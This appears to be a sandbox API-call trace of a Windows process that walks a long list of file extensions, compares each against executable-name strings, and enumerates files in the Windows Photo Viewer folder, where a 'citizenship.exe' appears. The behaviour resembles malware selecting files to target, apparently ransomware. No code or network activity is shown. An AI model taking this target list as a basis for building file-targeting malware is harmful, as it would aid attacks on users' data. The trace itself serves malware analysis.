	[0181.220] lstrlenW (lpString=".cin") returned 4
	[0181.220] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".class") returned 6
	[0181.220] lstrcmpiW (lpString1=".class", lpString2="rd.exe") returned -1
	[0181.220] lstrlenW (lpString=".clx") returned 4
	[0181.220] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".config") returned 7
	[0181.220] lstrcmpiW (lpString1=".config", lpString2="ard.exe") returned -1
	[0181.220] lstrlenW (lpString=".cpp") returned 4
	[0181.220] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0181.220] lstrlenW (lpString=".cr2") returned 4
	[0181.220] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".crt") returned 4
	[0181.221] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".crw") returned 4
	[0181.221] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".cs") returned 3
	[0181.221] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0181.221] lstrlenW (lpString=".css") returned 4
	[0181.221] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".csv") returned 4
	[0181.221] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".cub") returned 4
	[0181.221] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dae") returned 4
	[0181.221] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dat") returned 4
	[0181.221] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".db") returned 3
	[0181.221] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0181.221] lstrlenW (lpString=".dbf") returned 4
	[0181.221] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dbx") returned 4
	[0181.221] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dc3") returned 4
	[0181.221] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dcm") returned 4
	[0181.221] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dcr") returned 4
	[0181.221] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".der") returned 4
	[0181.221] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dib") returned 4
	[0181.221] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dic") returned 4
	[0181.221] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0181.221] lstrlenW (lpString=".dif") returned 4
	[0181.222] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".divx") returned 5
	[0181.222] lstrcmpiW (lpString1=".divx", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".djvu") returned 5
	[0181.222] lstrcmpiW (lpString1=".djvu", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".dng") returned 4
	[0181.222] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".doc") returned 4
	[0181.222] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".docm") returned 5
	[0181.222] lstrcmpiW (lpString1=".docm", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".docx") returned 5
	[0181.222] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".dot") returned 4
	[0181.222] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dotm") returned 5
	[0181.222] lstrcmpiW (lpString1=".dotm", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".dotx") returned 5
	[0181.222] lstrcmpiW (lpString1=".dotx", lpString2="d.exe") returned -1
	[0181.222] lstrlenW (lpString=".dpx") returned 4
	[0181.222] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dqy") returned 4
	[0181.222] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dsn") returned 4
	[0181.222] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dt") returned 3
	[0181.222] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0181.222] lstrlenW (lpString=".dtd") returned 4
	[0181.222] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dwg") returned 4
	[0181.222] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dwt") returned 4
	[0181.222] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0181.222] lstrlenW (lpString=".dx") returned 3
	[0181.222] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0181.222] lstrlenW (lpString=".dxf") returned 4
	[0181.223] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".edml") returned 5
	[0181.223] lstrcmpiW (lpString1=".edml", lpString2="d.exe") returned -1
	[0181.223] lstrlenW (lpString=".efd") returned 4
	[0181.223] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".elf") returned 4
	[0181.223] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".emf") returned 4
	[0181.223] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".emz") returned 4
	[0181.223] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".epf") returned 4
	[0181.223] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".eps") returned 4
	[0181.223] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".epsf") returned 5
	[0181.223] lstrcmpiW (lpString1=".epsf", lpString2="d.exe") returned -1
	[0181.223] lstrlenW (lpString=".epsp") returned 5
	[0181.223] lstrcmpiW (lpString1=".epsp", lpString2="d.exe") returned -1
	[0181.223] lstrlenW (lpString=".erf") returned 4
	[0181.223] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0181.223] lstrlenW (lpString=".exr") returned 4
	[0181.223] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".f4v") returned 4
	[0181.223] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".fido") returned 5
	[0181.223] lstrcmpiW (lpString1=".fido", lpString2="d.exe") returned -1
	[0181.223] lstrlenW (lpString=".flm") returned 4
	[0181.223] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".flv") returned 4
	[0181.223] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".frm") returned 4
	[0181.223] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".fxg") returned 4
	[0181.223] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0181.223] lstrlenW (lpString=".geo") returned 4
	[0181.224] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".gif") returned 4
	[0181.224] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".grs") returned 4
	[0181.224] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".gz") returned 3
	[0181.224] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0181.224] lstrlenW (lpString=".h") returned 2
	[0181.224] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0181.224] lstrlenW (lpString=".hdr") returned 4
	[0181.224] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".hpp") returned 4
	[0181.224] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".hta") returned 4
	[0181.224] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".htc") returned 4
	[0181.224] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".htm") returned 4
	[0181.224] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".html") returned 5
	[0181.224] lstrcmpiW (lpString1=".html", lpString2="d.exe") returned -1
	[0181.224] lstrlenW (lpString=".icb") returned 4
	[0181.224] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".ics") returned 4
	[0181.224] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".iff") returned 4
	[0181.224] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".inc") returned 4
	[0181.224] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".indd") returned 5
	[0181.224] lstrcmpiW (lpString1=".indd", lpString2="d.exe") returned -1
	[0181.224] lstrlenW (lpString=".ini") returned 4
	[0181.224] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0181.224] lstrlenW (lpString=".iqy") returned 4
	[0181.224] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".j2c") returned 4
	[0181.225] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".j2k") returned 4
	[0181.225] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".java") returned 5
	[0181.225] lstrcmpiW (lpString1=".java", lpString2="d.exe") returned -1
	[0181.225] lstrlenW (lpString=".jp2") returned 4
	[0181.225] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".jpc") returned 4
	[0181.225] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".jpe") returned 4
	[0181.225] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".jpeg") returned 5
	[0181.225] lstrcmpiW (lpString1=".jpeg", lpString2="d.exe") returned -1
	[0181.225] lstrlenW (lpString=".jpf") returned 4
	[0181.225] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".jpg") returned 4
	[0181.225] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".jpx") returned 4
	[0181.225] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".js") returned 3
	[0181.225] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0181.225] lstrlenW (lpString=".jsf") returned 4
	[0181.225] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".json") returned 5
	[0181.225] lstrcmpiW (lpString1=".json", lpString2="d.exe") returned -1
	[0181.225] lstrlenW (lpString=".jsp") returned 4
	[0181.225] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".kdc") returned 4
	[0181.225] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".kmz") returned 4
	[0181.225] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".kwm") returned 4
	[0181.225] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0181.225] lstrlenW (lpString=".lasso") returned 6
	[0181.225] lstrcmpiW (lpString1=".lasso", lpString2="rd.exe") returned -1
	[0181.225] lstrlenW (lpString=".lbi") returned 4
	[0181.226] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".lgf") returned 4
	[0181.226] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".lgp") returned 4
	[0181.226] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".log") returned 4
	[0181.226] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".m1v") returned 4
	[0181.226] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".m4a") returned 4
	[0181.226] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".m4v") returned 4
	[0181.226] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".max") returned 4
	[0181.226] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".md") returned 3
	[0181.226] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0181.226] lstrlenW (lpString=".mda") returned 4
	[0181.226] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mdb") returned 4
	[0181.226] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mde") returned 4
	[0181.226] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mdf") returned 4
	[0181.226] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mdw") returned 4
	[0181.226] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mef") returned 4
	[0181.226] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mft") returned 4
	[0181.226] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mfw") returned 4
	[0181.226] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0181.226] lstrlenW (lpString=".mht") returned 4
	[0181.226] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mhtml") returned 6
	[0181.227] lstrcmpiW (lpString1=".mhtml", lpString2="rd.exe") returned -1
	[0181.227] lstrlenW (lpString=".mka") returned 4
	[0181.227] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mkidx") returned 6
	[0181.227] lstrcmpiW (lpString1=".mkidx", lpString2="rd.exe") returned -1
	[0181.227] lstrlenW (lpString=".mkv") returned 4
	[0181.227] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mos") returned 4
	[0181.227] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mov") returned 4
	[0181.227] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mp3") returned 4
	[0181.227] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mp4") returned 4
	[0181.227] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mpeg") returned 5
	[0181.227] lstrcmpiW (lpString1=".mpeg", lpString2="d.exe") returned -1
	[0181.227] lstrlenW (lpString=".mpg") returned 4
	[0181.227] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mpv") returned 4
	[0181.227] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mrw") returned 4
	[0181.227] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".msg") returned 4
	[0181.227] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".mxl") returned 4
	[0181.227] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".myd") returned 4
	[0181.227] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".myi") returned 4
	[0181.227] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".nef") returned 4
	[0181.227] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0181.227] lstrlenW (lpString=".nrw") returned 4
	[0181.227] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0181.228] lstrlenW (lpString=".obj") returned 4
	[0181.260] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".odb") returned 4
	[0181.260] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".odc") returned 4
	[0181.260] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".odm") returned 4
	[0181.260] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".odp") returned 4
	[0181.260] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".ods") returned 4
	[0181.260] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".oft") returned 4
	[0181.260] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".one") returned 4
	[0181.260] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".onepkg") returned 7
	[0181.260] lstrcmpiW (lpString1=".onepkg", lpString2="ard.exe") returned -1
	[0181.260] lstrlenW (lpString=".onetoc2") returned 8
	[0181.260] lstrcmpiW (lpString1=".onetoc2", lpString2="card.exe") returned -1
	[0181.260] lstrlenW (lpString=".opt") returned 4
	[0181.260] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".oqy") returned 4
	[0181.260] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".orf") returned 4
	[0181.260] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".p12") returned 4
	[0181.260] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".p7b") returned 4
	[0181.260] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".p7c") returned 4
	[0181.260] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".pam") returned 4
	[0181.260] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0181.260] lstrlenW (lpString=".pbm") returned 4
	[0181.261] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pct") returned 4
	[0181.261] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pcx") returned 4
	[0181.261] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pdd") returned 4
	[0181.261] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pdf") returned 4
	[0181.261] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pdp") returned 4
	[0181.261] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pef") returned 4
	[0181.261] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pem") returned 4
	[0181.261] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pff") returned 4
	[0181.261] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pfm") returned 4
	[0181.261] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pfx") returned 4
	[0181.261] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".pgm") returned 4
	[0181.261] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".php") returned 4
	[0181.261] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1
	[0181.261] lstrlenW (lpString=".php3") returned 5
	[0181.261] lstrcmpiW (lpString1=".php3", lpString2="d.exe") returned -1
	[0181.261] lstrlenW (lpString=".php4") returned 5
	[0181.261] lstrcmpiW (lpString1=".php4", lpString2="d.exe") returned -1
	[0181.261] lstrlenW (lpString=".php5") returned 5
	[0181.261] lstrcmpiW (lpString1=".php5", lpString2="d.exe") returned -1
	[0181.261] lstrlenW (lpString=".phtml") returned 6
	[0181.262] lstrcmpiW (lpString1=".phtml", lpString2="rd.exe") returned -1
	[0181.262] lstrlenW (lpString=".pict") returned 5
	[0181.262] lstrcmpiW (lpString1=".pict", lpString2="d.exe") returned -1
	[0181.262] lstrlenW (lpString=".pl") returned 3
	[0181.262] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1
	[0181.262] lstrlenW (lpString=".pls") returned 4
	[0181.262] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".pm") returned 3
	[0181.262] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1
	[0181.262] lstrlenW (lpString=".png") returned 4
	[0181.262] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".pnm") returned 4
	[0181.262] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".pot") returned 4
	[0181.262] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".potm") returned 5
	[0181.262] lstrcmpiW (lpString1=".potm", lpString2="d.exe") returned -1
	[0181.262] lstrlenW (lpString=".potx") returned 5
	[0181.262] lstrcmpiW (lpString1=".potx", lpString2="d.exe") returned -1
	[0181.262] lstrlenW (lpString=".ppa") returned 4
	[0181.262] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".ppam") returned 5
	[0181.262] lstrcmpiW (lpString1=".ppam", lpString2="d.exe") returned -1
	[0181.262] lstrlenW (lpString=".ppm") returned 4
	[0181.262] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1
	[0181.262] lstrlenW (lpString=".pps") returned 4
	[0181.263] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".ppsm") returned 5
	[0181.263] lstrcmpiW (lpString1=".ppsm", lpString2="d.exe") returned -1
	[0181.263] lstrlenW (lpString=".ppt") returned 4
	[0181.263] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".pptm") returned 5
	[0181.263] lstrcmpiW (lpString1=".pptm", lpString2="d.exe") returned -1
	[0181.263] lstrlenW (lpString=".pptx") returned 5
	[0181.263] lstrcmpiW (lpString1=".pptx", lpString2="d.exe") returned -1
	[0181.263] lstrlenW (lpString=".prn") returned 4
	[0181.263] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".ps") returned 3
	[0181.263] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1
	[0181.263] lstrlenW (lpString=".psb") returned 4
	[0181.263] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".psd") returned 4
	[0181.263] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".pst") returned 4
	[0181.263] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".ptx") returned 4
	[0181.263] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".pub") returned 4
	[0181.263] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".pwm") returned 4
	[0181.263] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".pxr") returned 4
	[0181.263] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".py") returned 3
	[0181.263] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1
	[0181.263] lstrlenW (lpString=".qt") returned 3
	[0181.263] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1
	[0181.263] lstrlenW (lpString=".r3d") returned 4
	[0181.263] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".raf") returned 4
	[0181.263] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1
	[0181.263] lstrlenW (lpString=".rar") returned 4
	[0181.264] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0181.264] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d3f830, ftCreationTime.dwHighDateTime=0x1d584be, ftLastAccessTime.dwLowDateTime=0xe883d290, ftLastAccessTime.dwHighDateTime=0x1d55b67, ftLastWriteTime.dwLowDateTime=0xe883d290, ftLastWriteTime.dwHighDateTime=0x1d55b67, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="citizenship.exe", cAlternateFileName="CITIZE~1.EXE")) returned 1
	[0181.264] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.264] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4004f78
	[0181.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6a8
	[0181.265] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.265] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3525a5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe47aa00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
